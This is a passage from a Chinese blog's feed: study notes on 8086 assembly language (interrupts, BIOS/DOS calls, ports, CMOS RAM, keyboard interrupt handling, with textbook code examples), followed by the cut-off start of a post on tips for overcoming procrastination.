loading="lazy"></p><p>中断过程</p><p>中断过程的主要任务就是用中断类型码在中断向量表中找到中断处理程序的入口地址，设置CS和IP</p><p>简要描述如下</p><ol><li>取得中断类型码N；</li><li>pushf</li><li>TF&#x3D;0，IF&#x3D;0 （为什么这样参考单步中断）</li><li>push CS , push IP</li><li>（IP）&#x3D;（N * 4），（CS）&#x3D;（N * 4 + 2）</li></ol><p>硬件在完成中断过程后，CS:IP将指向中断处理程序的入口，CPU开始执行中断处理程序。</p><p><strong>3、iret指令</strong></p><p>CPU随时都可能执行中断处理程序，中断处理程序必须一直存储在内存某段空间之中<br>而中断处理程序的入口地址，即中断向量，必须存储在对应的中断向量表表项中。</p><p>中断处理程序的常规编写步骤：</p><ol><li>保存用到的寄存器；</li><li>处理中断；</li><li>恢复用到的寄存器；</li><li>用iret指令返回。</li></ol><p>iret 指令描述为：pop IP pop CS popf</p><p>iret指令执行后，CPU回到执行中断处理程序前的执行点继续执行程序</p><p><strong>4、除法错误中断的处理</strong></p><blockquote><p>mov ax, 1000h<br>mov bh, 1<br>div bh ;除法溢出错误</p></blockquote><p>1、当CPU执行div bh时，发生了除法溢出错误，产生0号中断信息，从而引发中断过程，</p><p>2、CPU执行0号中断处理程序</p><p>3、系统中的0号中断处理程序的功能：显示提示信息“Divide overflow”后，返回到操作系统中。</p><p><strong>编程实验</strong></p><p>编程：编写0号中断处理程序do0，当发生除法溢出时，在屏幕中间显示“overflow！”，返回DOS。</p><p>1、0000:0200至0000:02FF的256个字节的空间所对应的中断向量表项都是空的，可以将中断处理程序do0传送到内存0000:0200处。</p><p>2、中断处理程序do0放到0000:0200,再将其地址登记在中断向量表对应表项</p><ul><li>0号表项的地址0:0。0:0字单元存放偏移地址，0:2字单元存放段地址</li><li>将do0的段地址0存放在0000:0002字单元中，将偏移地址200H存放在0000:0000字单元</li></ul><pre class="language-none"><code class="language-none">assume cs:codecode segmentstart:mov ax, csmov ds, axmov si, offset do0;设置ds:si指向源地址mov ax, 0mov es, axmov di, 200h;设置es:di指向目的地址0000:0200mov cx, offset do0end - offset do0;设置cx为传输长度 编译时给出do0部分代码长度cld ;设置传输方向为正rep movsb ;将do0的代码送入0:200处mov ax, 0  ;设置中断向量表mov es, axmov word ptr es:[0*4], 200hmov word ptr es:[0*4+2], 0 mov ax,4c00h int 21h;do0程序的主要任务是显示字符串do0:jmp short do0 start  db &quot;overflow!&quot;do0start: mov ax, cs mov ds, ax mov si, 202h;设置ds:si指向字符串 mov ax, 0b800h mov es, axmov di, 12*160+36*2;设置es:di指向显存空间的中间位置 mov cx, 9;设置cx为字符串长度s:mov al, [si] mov es:[di], al inc si add di, 1mov al, 02h  ;设置颜色mov es:[di], al add di, 1 loop s mov ax, 4c00h int 21hdo0end:nopcode endsend start</code></pre><p><strong>5、单步中断</strong></p><p>CPU在执行完一条指令之后，如果检测到标志寄存器的TF位为1，则产生单步中断，引发中断过程。单步中断的中断类型码为1</p><p>Debug是如何利用CPU所提供的单步中断的功能进行调试？如使用t命令查看寄存器状态</p><p>Debug提供了单步中断的中断处理程序，功能为显示所有寄存器中的内容后等待输入命令</p><p>在使用t命令执行指令时，Debug将TF设置为1，在CPU执行完这条指令后就引发单步中断，执行单步中断的中断处理程序，所有寄存器中的内容被显示在屏幕上，并且等待输入命令。</p><p>在进入中断处理程序之前，设置TF&#x3D;0。从而避免CPU在执行中断处理程序的时候发生单步中断</p><p><strong>6、int指令</strong></p><p>int指令的格式为：int n ，n为中断类型码，它的功能是引发中断过程。</p><p>CPU执行int n指令，相当于引发一个n号中断的中断过程</p><p>在程序中使用int指令调用任何一个中断的中断处理程序(中断例程)</p><p>编写供应用程序调用的中断例程</p><p>实验1</p><pre class="language-none"><code class="language-none">;求2 * 3456^2assume cs:codecode segmentstart:  mov ax, 3456 ;(ax)&#x3D;3456​ int 7ch ; 调用中断7ch的中断例程，计算ax中的数据的平方​ add ax, ax ​ adc dx, dx ;存放结果，将结果乘以2​ mov ax,4c00h​ int 21hcode endsend start</code></pre><pre class="language-none"><code class="language-none">;编程：安装中断7ch的中断例程;功能：求一word型数据的平方。;参数：(ax) &#x3D; 要计算的数据。;返回值：dx、ax中存放结果的高16位和低16位。assume cs:codecode segmentstart:mov ax,csmov ds,axmov si,offset sqr;设置ds:si指向源地址mov ax,0mov es,axmov di,200h;设置es:di指向目的地址mov cx,offset sqrend - offset sqr;设置cx为传输长度cld;设置传输方向为正rep movsbmov ax,0mov es,axmov word ptr es:[7ch*4],200hmov word ptr es:[7ch*4+2],0mov ax,4c00hint 21h sqr: mul axiret ;CPU执行int 7ch指令进入中断例程之前，标志寄存器、当前的CS和IP被压入栈 ;在执行完中断例程后，应该用iret 指令恢复int 7ch执行前的标志寄存器和CS、IP的sqrend:nopcode endsend start</code></pre><p>实验2</p><pre class="language-none"><code class="language-none">;功能：将一个全是字母，以0结尾的字符串，转化为大写。;参数：ds:si指向字符串的首地址。;应用举例：将data段中的字符串转化为大写。assume cs:codedata segmentdb &#39;conversation&#39;,0data endscode segmentstart: mov ax, datamov ds, axmov si, 0int 7chmov ax,4c00hint 21hcode endsend start</code></pre><pre><code>assume cs:codecode segmentstart:mov ax,csmov ds,axmov si,offset capitalmov ax,0mov es,axmov di,200hmov cx,offset capitalend - offset capitalcldrep movsbmov ax,0mov es,axmov word ptr es:[7ch*4],200hmov word ptr es:[7ch*4+2],0mov ax,4c00hint 21hcapital:push cxpush sichange: mov cl,[si]mov ch,0jcxz okand byte ptr [si],11011111binc sijmp short changeok:pop sipop cxiretcapitalend:nopcode endsend start</code></pre><p><strong>7、BIOS和DOS所提供的中断例程</strong></p><p>在系统板的ROM中存放着一套程序，称为BIOS（基本输入输出系统）</p><p>BIOS中主要包含以下几部分内容</p><ul><li>硬件系统的检测和初始化程序；</li><li>外部中断和内部中断的中断例程；</li><li>用于对硬件设备进行I&#x2F;O操作的中断例程；</li><li>其他和硬件系统相关的中断例程。</li></ul><p>程序员在编程的时候，可以用int 指令直接调用BIOS和DOS系统提供的中断例程，来完成某些工作。<br>和硬件设备相关的DOS中断例程中，一般都调用了BIOS的中断例程。</p><p><strong>BIOS和DOS中断例程的安装过程</strong></p><p>BIOS和DOS提供的中断例程是如何安装到内存中的呢？</p><p>1、开机后，CPU一加电，初始化（CS）&#x3D; 0FFFFH，（IP）&#x3D; 0，自动从FFFF:0单元开始执行程序。FFFF:0处有一条转跳指令，CPU执行该指令后，转去执行BIOS中的硬件系统检测和初始化程序。</p><p>2、初始化程序将建立BIOS所支持的中断向量，即将BIOS提供的中断例程的入口地址登记在中断向量表中。<br>注意，对于BIOS所提供的中断例程，只需将入口地址登记在中断向量表中即可，因为它们是固化到ROM中的程序，一直在内存中存在。</p><p>3、硬件系统检测和初始化完成后，调用int 19h进行操作系统的引导。从此将计算机交由操作系统控制。</p><p>4、DOS启动后，除完成其他工作外，还将它所提供的中断例程装入内存，并建立相应的中断向量。</p><p>BIOS中断例程应用</p><p>一般来说，一个供程序员调用的中断例程中往往包括多个子程序，中断例程内部用传递进来的参数来决定执行哪一个子程序。</p><p>BIOS和DOS提供的中断例程，都用ah来传递内部子程序的编号。</p><p>编程：在屏幕的5行12列显示3个红底高亮闪烁绿色的“al。</p><pre class="language-none"><code class="language-none">assume cs:code code segment;int 10h中断例程的&quot;设置光标位置&quot;功能mov ah, 2;设置光标调用第10h号中断例程的2号子程序，功能为设置光标位置(可以提供光标所在的行号、列号和页号作为参数);设置光标到第0页，第5行，第12列mov bh, 0；第0页mov dh, 5；dh中放行号mov dl, 12；dl中放列号int 10h;int10h中断例程的&quot;在光标位置显示字符&quot;功能。mov ah，9 ;调用第10h号中断例程的9号子程序，功能为在光标位置显示字符;提供要显示的字符、颜色属性、页号、字符重复个数作为参数mov al，&#39;a&#39; ;字符mov b1，11001010b ;颜色属性mov bh，0 ;第0页mov cx，3 ;字符重复个数int 10hcode ends end</code></pre><p>bh中页号的含义：内存地址空间中，B8000H<del>BFFFFH共32kB的空间，为80*25彩色字符模式的显示缓冲区。<br>一屏的内容在显示缓冲区中共占4000个字节。显示缓冲区分为8页，每页4KB（约4000B），显示器可以显示任意一页的内容。一般情况下，显示第0页的内容。也就是说，通常情况下，B8000H</del>B8F9FH中的4000个字节的内容将出现在显示器上。</p><p><strong>DOS中断例程应用</strong></p><p>int 21h中断例程是DOS提供的中断例程，4ch号功能，即程序返回功能</p><blockquote><p>mov ah, 4ch ;调用第21h号中断例程的4ch号子程序，功能为程序返回,可以提供返回值作为参数<br>mov al, 0 ;返回值<br>int 21h</p></blockquote><p>编程：在屏幕的5行12列显示字符串“Welcome to masm！”。</p><pre class="language-none"><code class="language-none">assume cs:code  data segment db&#39;Welcome to masm&#39;, &#39;$&#39; ;“$”本身并不显示，只起到边界的作用data ends code segmentstart:mov ah, 2 ;10号中断设置光标位置功能mov bh, 0 ;第0页mov dh, 5；dh中放行号mov dl, 12 ;dl中放列号int 10h mov ax, data mov ds, ax mov dx, 0 ;ds:dx指向字符串的首地址data:0 （参数）mov ah, 9 ;调用第21h号中断例程的9号子程序，功能为在光标位置显示字符串，可以提供要显示字符串的地址作为参数int 21h mov ax, 4c00h ;21号中断程序返回功能int 21h code endsend start</code></pre><h2 id="十二、端口"><a href="#十二、端口" class="headerlink" title="十二、端口"></a>十二、端口</h2><p>在PC机系统中，和CPU通过总线相连的芯片除各种存储器外，还有以下3种芯片。</p><ul><li>各种接口卡（比如，网卡、显卡）上的接口芯片，它们控制接口卡进行工作；</li><li>主板上的接口芯片，CPU通过它们对部分外设进行访问；</li><li>其他芯片，用来存储相关的系统信息，或进行相关的输入输出处理。</li></ul><p>在这些芯片中，都有一组可以由CPU读写的寄存器。这些寄存器，它们在物理上可能处于不同的芯片中，<br>但是它们在以下两点上相同。</p><ul><li>都和CPU的总线相连，这种连接是通过它们所在的芯片进行的；</li><li>CPU对它们进行读或写的时候都通过控制线向它们所在的芯片发出端口读写命令。</li></ul><p>从CPU的角度，将这些寄存器都当作端口，对它们进行统一编址，从而建立了一个统一的端口地址空间。<br>每一个端口在地址空间中都有一个地址。在访问端口的时候，CPU通过端口地址来定位端口。因为端口所在的芯片和CPU通过总线相连，</p><p>CPU可以直接读写以下3个地方的数据。</p><blockquote><p>CPU内部的寄存器；<br>内存单元；<br>端口。</p></blockquote><p><strong>1、端口的读写</strong></p><p>端口地址和内存地址一样，通过地址总线来传送。在PC系统中，CPU最多可以定位64KB个不同的端口。则端口地址的范围为0-65535。</p><p>端口的读写指令只有两条：in和out，分别用于从端口读取数据和往端口写入数据。</p><p>在in和out指令中，只能使用ax或al来存放从端口中读入的数据或要发送到端口中的数据。</p><pre class="language-none"><code class="language-none">;对0~255以内的端口进行读写时：in al, 20h ;从20h端口读入一个字节out 20h, al ;往20h端口写入一个字节;对256~65535的端口进行读写时，端口号放在dx中：mov dx, 3f8h ;将端口号3f8h送入dxin al, dx ;从3f8h端口读入一个字节out dx, al ;向3f8h端口写入一个字节</code></pre><p><strong>2、CMOS RAM芯片</strong></p><p>PC机中，有一个CMOSRAM芯片，一般简称为CMOS。此芯片的特征如下</p><p>1、包含一个实时钟和一个有128个存储单元的RAM存储器<br>2、该芯片靠电池供电。关机后内部的实时钟正常工作，RAM中的信息不丢失<br>3、128个字节的RAM中，内部实时钟占用0~0dh单元来保存时间信息，其余大部分单元用于保存系统配置信息，供系统启动时BIOS程序读取。BIOS也提供了相关的程序，使我们可以在开机的时候配置CMOSRAM中的系统信息。<br>该芯片内部有两个端口，端口地址为70h和71h。CPU通过这两个端口来读写CMOS RAM<br>4、70h为地址端口，存放要访问的CMOSRAM单元的地址；71h为数据端口，存放从选定的CMOSRAM单元中读取的数据，或要写入到其中的数据。<br>可见，CPU对CMOS RAM的读写分两步进行，比如，读CMOS RAM的2号单元：<br>①将2送入端口70h；<br>②从端口71h读出2号单元的内容。</p><p><strong>CMOSRAM中存储的时间信息</strong></p><p>在CMOS RAM中，存放着当前的时间：年、月、日、时、分、秒。长度都为1个字节，<br>存放单元为：</p><table><thead><tr><th align="left">9</th><th align="left">8</th><th align="left">7</th><th align="left">6</th><th align="left">5</th><th align="left">4</th><th align="left">3</th><th align="left">2</th><th align="left">1</th><th align="left">0</th></tr></thead><tbody><tr><td align="left">年</td><td align="left">月</td><td align="left">日</td><td align="left"></td><td align="left"></td><td align="left">时</td><td align="left"></td><td align="left">分</td><td align="left"></td><td align="left">秒</td></tr></tbody></table><p>BCD码是以4位二进制数表示十进制数码的编码方法 4 &#x3D;&#x3D; 0100B</p><p>一个字节可表示两个BCD码。则CMOS RAM存储时间信息的单元中，存储了用两个BCD码表示的两位十进制数，高4位的BCD码表示十位，低4位的BCD码表示个位。比如，00010100b表示14。</p><pre class="language-none"><code class="language-none">;编程，在屏幕中间显示当前的月份。assume cs:codecode segment start:mov al，8 ;从CMOS RAM的8号单元读出当前月份的BCD码。out 70h，al in al, 71h ;从数据端口71h中取得指定单元中的数据：mov ah, al ;al中为从CMOSRAM的8号单元中读出的数据mov cl, 4shr ah, cl ;ah中为月份的十位数码值,左移四位空出四位and al, 00001111b ;al中为月份的个位数码值add ah, 30h ;BCD码值+30h&#x3D;十进制数对应的ASCIIadd al, 30h mov bx, 0b800h mov es, bx mov byte ptr es:[160*12+40*2], ah ;显示月份的十位数码mov byte ptr es:[160*12+40*2+2], al ;接着显示月份的个位数码mov ax，4c00hint 21hcode endsend start</code></pre><p><strong>3、shl和shr指令</strong><br>shl和shr是逻辑移位指令</p><p>shl是逻辑左移指令，它的功能为：</p><ul><li>将一个寄存器或内存单元中的数据向左移位；</li><li>将最后移出的一位写入CF中；</li><li>最低位用0补充。</li></ul><p>shr是逻辑右移指令，同理</p><pre class="language-none"><code class="language-none">mov al, 01001000b shl al, 1 ;将a1中的数据左移一位执行后（al）&#x3D;10010000b，CF&#x3D;0。mov al, 01010001b mov cl, 3 ;如果移动位数大于1时，必须将移动位数放在cl中shl al, c1mov al, 10000001b shr al, 1 ;将al中的数据右移一位执行后（al）&#x3D;01000000b，CF&#x3D;1。</code></pre><p>将X逻辑左移一位，相当于执行X&#x3D;X*2。<br>将X逻辑右移一位，相当于执行X&#x3D;X&#x2F;2</p><h2 id="十三、外中断"><a href="#十三、外中断" class="headerlink" title="十三、外中断"></a>十三、外中断</h2><h3 id="1、外中断"><a href="#1、外中断" class="headerlink" title="1、外中断"></a>1、外中断</h3><p>PU在计算机系统中，除了能够执行指令，进行运算以外，还应该能够对外部设备进行控制，接收它们的输入，向它们进行输出（I&#x2F;O能力）</p><p>PC系统的接口卡和主板上，装有各种接口芯片。这些外设接口芯片的内部有若干寄存器，CPU将这些寄存器当作端口来访问</p><p>外设的输入不直接送入内存和CPU，而是送入相关的接口芯片的端口中；<br>CPU向外设的输出也不是直接送入外设，而是先送入端口中，再由相关的芯片送到外设。<br>CPU还可以向外设输出控制命令，而这些控制命令也是先送到相关芯片的端口中，然后再由相关的芯片根据命令对外设实施控制。</p><p>即：CPU通过端口和外部设备进行联系</p><p>当CPU外部有需要处理的事情发生的时候，比如说，外设的输入到达，相关芯片将向CPU发出相应的中断信息。CPU在执行完当前指令后，可以检测到发送过来的中断信息，引发中断过程，处理外设的输入。</p><p><strong>PC系统中，外中断源有两类</strong></p><p><strong>1、可屏蔽中断</strong></p><p>可屏蔽中断是CPU可以不响应的外中断。CPU是否响应可屏蔽中断，要看标志寄存器的IF位的设置。<br>当CPU检测到可屏蔽中断信息时，如果IF&#x3D;1，则CPU在执行完当前指令后响应中断，引发中断过程；如果IF&#x3D;0，则不响应可屏蔽中断。</p><p>可屏蔽中断信息来自于CPU外部，中断类型码是通过数据总线送入CPU的；而内中断的中断类型码是在CPU内部产生的。</p><p>中断过程中将IF置0的原因就是，在进入中断处理程序后，禁止其他的可屏蔽中断。<br>如果在中断处理程序中需要处理可屏蔽中断，可以用指令将IF置1。</p><p>8086CPU提供的设置IF的指令：sti，设置IF&#x3D;1；cli，设置IF&#x3D;0。</p><p><strong>2、不可屏蔽中断</strong></p><p>不可屏蔽中断是CPU必须响应的外中断。当CPU检测到不可屏蔽中断信息时，则在执行完当前指令后，立即响应，引发中断过程。</p><p>对于8086CPU，不可屏蔽中断的中断类型码固定为2，所以中断过程中，不需要取中断类型码。则不可屏蔽中断的中断过程为：①标志寄存器入栈，IF&#x3D;0，TF&#x3D;0；②CS、IP入栈；③（IP）&#x3D;（8），（CS）&#x3D;（0AH）。</p><p>几乎所有由外设引发的外中断，都是可屏蔽中断。当外设有需要处理的事件（比如说键盘输入）发生时，相关芯片向CPU发出可屏蔽中断信息。不可屏蔽中断是在系统中有必须处理的紧急情况发生时用来通知CPU的中断信息。</p><p><strong>2、PC机键盘的处理过程</strong><br>键盘中有一个芯片对键盘上的每一个键的开关状态进行扫描。按下一个键时，开关接通，该芯片就产生一个扫描码，扫描码说明了按下的键在键盘上的位置。扫描码被送入主板上的相关接口芯片的寄存器中，该寄存器的端口地址为60h。松开按下的键时，也产生一个扫描码，扫描码说明了松开的键在键盘上的位置。松开按键时产生的扫描码也被送入60h端口中。</p><p>一般将按下一个键时产生的扫描码称为通码，松开一个键产生的扫描码称为断码。</p><p>扫描码长度为一个字节，通码的第7位为0，断码的第7位为1<br>即：断码 &#x3D; 通码 + 80h。比如，g键的通码为22h，断码为a2h</p><p>键盘的输入到达60h端口时，相关的芯片就会向CPU发出中断类型码为9的可屏蔽中断信息。CPU检测到该中断信息后，如果IF&#x3D;1，则响应中断，引发中断过程，转去执行int 9中断例程。</p><p><img src="/medias/legacy/imgconvert.csdnimg.cn/d756b5098363aaa0.png" alt="在这里插入图片描述" loading="lazy"></p><p>BIOS提供了int9中断例程，用来进行基本的键盘输入处理，主要的工作如下：</p><p>（1）读出60h端口中的扫描码；<br>（2）如果是字符键的扫描码，将该扫描码和它所对应的字符码（即ASCII码）送入内存中的BIOS键盘缓冲区； 如果是控制键（比如Ctrl）和切换键（比如CapsLock）的扫描码，则将其转变为状态字节写入内存中存储状态字节的单元；<br>（3）对键盘系统进行相关的控制，比如说，向相关芯片发出应答信息。</p><p>BIOS键盘缓冲区可以存储15个键盘输入，一个键盘输入用一个字单元存放，高位字节存放扫描码，低位字节存放字符码。</p><p>0040:17单元存储键盘状态字节，该字节记录了控制键和切换键的状态。键盘状态字节各位记录的信息如下。</p><table><thead><tr><th align="left">0</th><th align="left">右shift状态</th><th align="left">置1表示按下右shift键</th></tr></thead><tbody><tr><td align="left">1</td><td align="left">左shift状态</td><td align="left">置1表示按下左shift键</td></tr><tr><td align="left">2</td><td align="left">Ctrl状态</td><td align="left">置1表示按下Ctrl键</td></tr><tr><td align="left">3</td><td align="left">Alt状态</td><td align="left">置1表示按下Alt键</td></tr><tr><td align="left">4</td><td align="left">ScrollLock状态</td><td align="left">置1表示Scroll指示灯亮</td></tr><tr><td align="left">5</td><td align="left">NumLock状态</td><td align="left">置1表示小键盘输入的是数字</td></tr><tr><td align="left">6</td><td align="left">CapsLock状态</td><td align="left">置1表示输入大写字母</td></tr><tr><td align="left">7</td><td align="left">Insert状态</td><td align="left">置1表示处于删除态</td></tr></tbody></table><p>编写int 9中断例程</p><pre class="language-none"><code class="language-none">;编程：在屏幕中间依次显示“a”~“z”，并可以让人看清。在显示的过程中，按下&#39;Esc&#39;键后，改变显示的颜色。;完整功能代码：assume cs:codestack segmentdb 128 dup (0)stack endsdata segmentdw 0,0data endscode segmentstart:mov ax,stackmov ss,axmov sp,128mov ax,datamov ds,axmov ax,0mov es,axpush es:[9*4]pop ds:[0]push es:[9*4+2]pop ds:[2];将原来的int 9中断例程的入口地址保存在ds:0、ds:2单元中mov word ptr es:[9*4], offset int9mov es:[9*4+2], cs;在中断向量表中设置新的int 9中断例程的入口地址;显示字符串mov ax, 0b800hmov es, axmov ah, &#39;a&#39;s:mov es:[160*12+40*2], ahcall delayinc ahcmp ah, &#39;z&#39;jna smov ax,0mov es,axpush ds:[0]pop es:[9*4]push ds;[2]pop es;[9*4+2] ;将中断向量表中int 9中断例程的入口恢复为原来的地址mov ax,4c00hint 21h;将循环延时的程序段写为一个子程序delay:push ax push dxmov dx, 2000h ;用两个16位寄存器来存放32位的循环次数mov ax, 0s1: sub ax, 1sbb dx, 0cmp ax, 0jne s1cmp dx, 0jne s1pop dxpop axret;------以下为新的int 9中断例程--------------------int9:push axpush bxpush esin al, 60h;从端口60h读出键盘的输入pushf ;标志寄存器入栈pushf pop bxand bh,11111100bpush bxpopf;TF&#x3D;0,IF&#x3D;0call dword ptr ds:[0] ;对int指令进行模拟，调用原来的int 9中断例程cmp al,1jne int9retmov ax,0b800hmov es,axinc byte ptr es:[160*12+40*2+1] ;属性增加1，改变颜色int9ret:pop espop bxpop axiretcode endsend start</code></pre><p>CPU对外设输入的通常处理方法<br>（1）外设的输入送入端口；<br>（2）向CPU发出外中断（可屏蔽中断）信息；<br>（3）CPU检测到可屏蔽中断信息，如果IF&#x3D;1，CPU在执行完当前指令后响应中断，执行相应的中断例程；<br>（4）可在中断例程中实现对外设输入的处理。</p><p>端口和中断机制，是CPU进行I&#x2F;O的基础。</p><h2 id="十四、直接定址表"><a href="#十四、直接定址表" class="headerlink" title="十四、直接定址表"></a>十四、直接定址表</h2><pre class="language-none"><code class="language-none">assume cs:codecode segment  a : db 1,2,3,4,5,6,7,8 ;在后面加有“：”的地址标号，只能在代码段中使用，不能在其他段中使用。  b : dw 0start :mov si,offset a  mov bx,offset b  mov cx,8 s : mov al,cs:[si]  mov ah,0  add cs:[bx],ax  inc si  loop s  mov ax,4c00h  int 21hcode endsend start</code></pre><p>程序中，code、a、b、start、s都是标号。这些标号仅仅表示了内存单元的地址</p><p>描述了单位长度的标号</p><pre class="language-none"><code class="language-none">assume cs:codecode segment  a db 1,2,3,4,5,6,7,8 ;标号a、b后面没有&quot;:&quot;，因此它们是可以同时描述内存地址和单元长度的标号。    ;标号a，描述了地址code:0，和从这个地址开始，以后的内存单元都是字节单元  b dw 0  ;标号b描述了地址code:8，和从这个地址开始，以后的内存单元都是字单元。start : mov si,0  mov cx,8 s : mov al,a[si]  mov ah,0  add b,ax  inc si  loop s  mov ax,4c00h  int 21hcode endsend start</code></pre><p>使用数据标号来描述存储数据的单元的地址和长度。</p><pre class="language-none"><code class="language-none">assume cs:code,ds:data ；用伪指令assume将标号所在的段和一个段寄存器联系起来(编译器需要)data segment    a db 1,2,3,4,5,6,7,8  b dw 0data endscode segmentstart: mov ax,data  mov ds,ax ;真正确定ds寄存器  mov si,0  mov cx,8s: mov al,a[si] ;编译为：mov al,[si+0] 默认所访问单元的段地址在ds  mov ah,0  add b,ax ;编译为：add [8],ax  inc si  loop s  mov ax,4c00h  int 21hcode endsend start</code></pre><pre class="language-none"><code class="language-none">data segmenta db 1,2,3,4,5,6,7,8b dw 0c dw a, b ;等价于c dw offset a, offset b;数据标号c处存储的两个字型数据为标号a、b 的偏移地址data endsdata segmenta db 1,2,3,4,5,6,7,8b dw 0c dd a,b ;等价于c dw offset a, seg a, offset b, seg b;数据标号c处存储的两个双字型数据为标号a的偏移地址和段地址、标号b 的偏移地址和段地址data ends</code></pre><p>seg操作符，功能为取得某一标号的段地址</p><p>建立一张表，表中依次存储字符“0”~“F”，我们可以通过数值0 ~ 15直接查找到对应的字符</p><pre class="language-none"><code class="language-none">assume cs:codecode segmentstart: mov al,0eh call showbyte mov ax,4c00h int 21h;子程序：;用al传送要显示的数据showbyte: jmp short show table db &#39;0123456789ABCDEF&#39;;字符表show: push bx push es mov ah,al shr ah,1   shr ah,1 shr ah,1 shr ah,1 ;右移4位，ah中得到高4位的值 and al,00001111b;al中为低4位的值 mov bl,ah mov bh,0 mov ah,table[bx];用高4位的值作为相对于table的偏移，取得对应的字符 mov bx,0b800h mov es,bx mov es:[160*12+40*2],ah mov bl,al mov bh,0 mov al,table[bx];用低4位的值作为相对于table的偏移，取得对应的字符  mov es:[160*12+40*2+2],al pop es pop bx retcode endsend start</code></pre><h2 id="十五、-指令系统总结"><a href="#十五、-指令系统总结" class="headerlink" title="十五、 指令系统总结"></a>十五、 指令系统总结</h2><p>我们对8086CPU的指令系统进行一下总结。读者若要详细了解8086指令系统中的各个指令的用，可以查看有关的指令手册。</p><p>8086CPU提供以下几大类指令。</p><p>1、数据传送指令</p><p>mov、push、pop、pushf、popf、xchg 等都是数据传送指令，这些指令实现寄存器和内存、寄器和寄存器之间的单个数据传送。</p><p>2、算术运算指令<br>add、sub、adc、sbb、inc、dec、cmp、imul、idiv、aaa等都是算术运算指令，这些指令实现存器和内存中的数据的算数运算。它们的执行结果影响标志寄存器的sf、zf、of、cf、pf、af位。<br>3、逻辑指令<br>and、or、not、xor、test、shl、shr、sal、sar、rol、ror、rcl、rcr等都是逻辑指令。除了not指外，它们的执行结果都影响标志寄存器的相关标志位。<br>4、转移指令<br>可以修改IP，或同时修改CS和IP的指令统称为转移指令。转移指令分为以下几类。<br>（1）无条件转移指令，比如，jmp；<br>（2）条件转移指令，比如，jcxz、je、jb、ja、jnb、jna等；<br>（3）循环指令，比如，loop；<br>（4）过程，比如，call、ret、retf；<br>（5）中断，比如，int、iret。<br>5、处理机控制指令<br>对标志寄存器或其他处理机状态进行设置，cld、std、cli、sti、nop、clc、cmc、stc、hlt、wait、esc、lock等都是处理机控制指令。<br>6、串处理指令<br>对内存中的批量数据进行处理，movsb、movsw、cmps、scas、lods、stos等。若要使用这些指令方便地进行批量数据的处理，则需要和rep、repe、repne 等前缀指令配合使用。</p><p>文中大部分的图片来自王爽《<a href="https://www.jb51.net/books/518393.html" target="_blank" rel="noopener">汇编语言</a>》个别图片来自刘宏伟·计算机组成原理课件</p>]]>
    </content>
    <id>https://wmcoder.net/posts/ac56.html</id>
    <link href="https://wmcoder.net/posts/ac56.html"/>
    <published>2020-09-04T04:00:01.000Z</published>
    <summary>
      <![CDATA[<h1 id="一、基础知识"><a href="#一、基础知识" class="headerlink" title="一、基础知识"></a>一、基础知识</h1><h3 id="1、指令"><a href="#1、指令" class="headerlink" title="1]]>
    </summary>
    <title>王爽汇编原理</title>
    <updated>2020-09-04T04:00:01.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="心理学" scheme="https://wmcoder.net/categories/%E5%BF%83%E7%90%86%E5%AD%A6/"/>
    <category term="心理学" scheme="https://wmcoder.net/tags/%E5%BF%83%E7%90%86%E5%AD%A6/"/>
    <content>
      <![CDATA[<h1 id="拖延处理技巧"><a href="#拖延处理技巧" class="headerlink" title="拖延处理技巧"></a>拖延处理技巧</h1><h4 id="1-确立一个可操作的目标（可观察、具体而实在的），而不是那种模糊而抽象的目标。"><a href="#1-确立一个可操作的目标（可观察、具体而实在的），而不是那种模糊而抽象的目标。" class="headerlink" title="1.确立一个可操作的目标（可观察、具体而实在的），而不是那种模糊而抽象的目标。"></a>1.确立一个可操作的目标（可观察、具体而实在的），而不是那种模糊而抽象的目标。</h4><ul><li>不是：“我要停止拖延。”</li><li>而是：“我要在九月一日之前打扫和整理我的车库。”</li></ul><h4 id="2-设定一个务实的目标。不要异想天开，而要从小事做起。不要过于理想化，而要选择一个能接受的程度最低的目标。"><a href="#2-设定一个务实的目标。不要异想天开，而要从小事做起。不要过于理想化，而要选择一个能接受的程度最低的目标。" class="headerlink" title="2.设定一个务实的目标。不要异想天开，而要从小事做起。不要过于理想化，而要选择一个能接受的程度最低的目标。"></a>2.设定一个务实的目标。不要异想天开，而要从小事做起。不要过于理想化，而要选择一个能接受的程度最低的目标。</h4><ul><li>不是：“我绝不再拖延！”</li><li>而是：“我会每天花一个小时时间学习数学。”</li></ul><h4 id="3-将你的目标分解成短小具体的迷你目标。每一个迷你目标都要比大目标容易达成，小目标可以累积成大目标。"><a href="#3-将你的目标分解成短小具体的迷你目标。每一个迷你目标都要比大目标容易达成，小目标可以累积成大目标。" class="headerlink" title="3.将你的目标分解成短小具体的迷你目标。每一个迷你目标都要比大目标容易达成，小目标可以累积成大目标。"></a>3.将你的目标分解成短小具体的迷你目标。每一个迷你目标都要比大目标容易达成，小目标可以累积成大目标。</h4><ul><li>不是：“我打算要写那份报告。”</li><li>而是：“今晚我将花半个小时设计表格。明天我将花另外半个小时把数据填进去，再接下来一天，我将根据那些数据花一个小时将报告写出来。”</li></ul><h4 id="4-现实地（而不是按照自己的愿望）对待时间。问自己：这个任务事实上将花去我多少时间？我真正能抽出多少时间投入其中？"><a href="#4-现实地（而不是按照自己的愿望）对待时间。问自己：这个任务事实上将花去我多少时间？我真正能抽出多少时间投入其中？" class="headerlink" title="4.现实地（而不是按照自己的愿望）对待时间。问自己：这个任务事实上将花去我多少时间？我真正能抽出多少时间投入其中？"></a>4.现实地（而不是按照自己的愿望）对待时间。问自己：这个任务事实上将花去我多少时间？我真正能抽出多少时间投入其中？</h4><ul><li>不是：“明天我有充足的时间去做这件事。”</li><li>而是：“我最好看一下我的日程表，看看我什么时候可以开始做。上次那件事所花的时间超出了我的预期。”</li></ul><h4 id="5-只管开始做！不要想一下子做完整件事情，每次只要迈出一小步。记住：“千里之行始于足下。”"><a href="#5-只管开始做！不要想一下子做完整件事情，每次只要迈出一小步。记住：“千里之行始于足下。”" class="headerlink" title="5.只管开始做！不要想一下子做完整件事情，每次只要迈出一小步。记住：“千里之行始于足下。”"></a>5.只管开始做！不要想一下子做完整件事情，每次只要迈出一小步。记住：“千里之行始于足下。”</h4><ul><li>不是：“我一坐下来就要把事情做完。”</li><li>而是：“我可以采取的第一个行动是什么？”</li></ul><h4 id="6-利用接下来的15分钟。任何事情你都可以忍受15分钟。你只能通过一次又一次的15分钟才能完成一件事情。因此，你在15分钟时间内所做的事情是相当有意义的。"><a 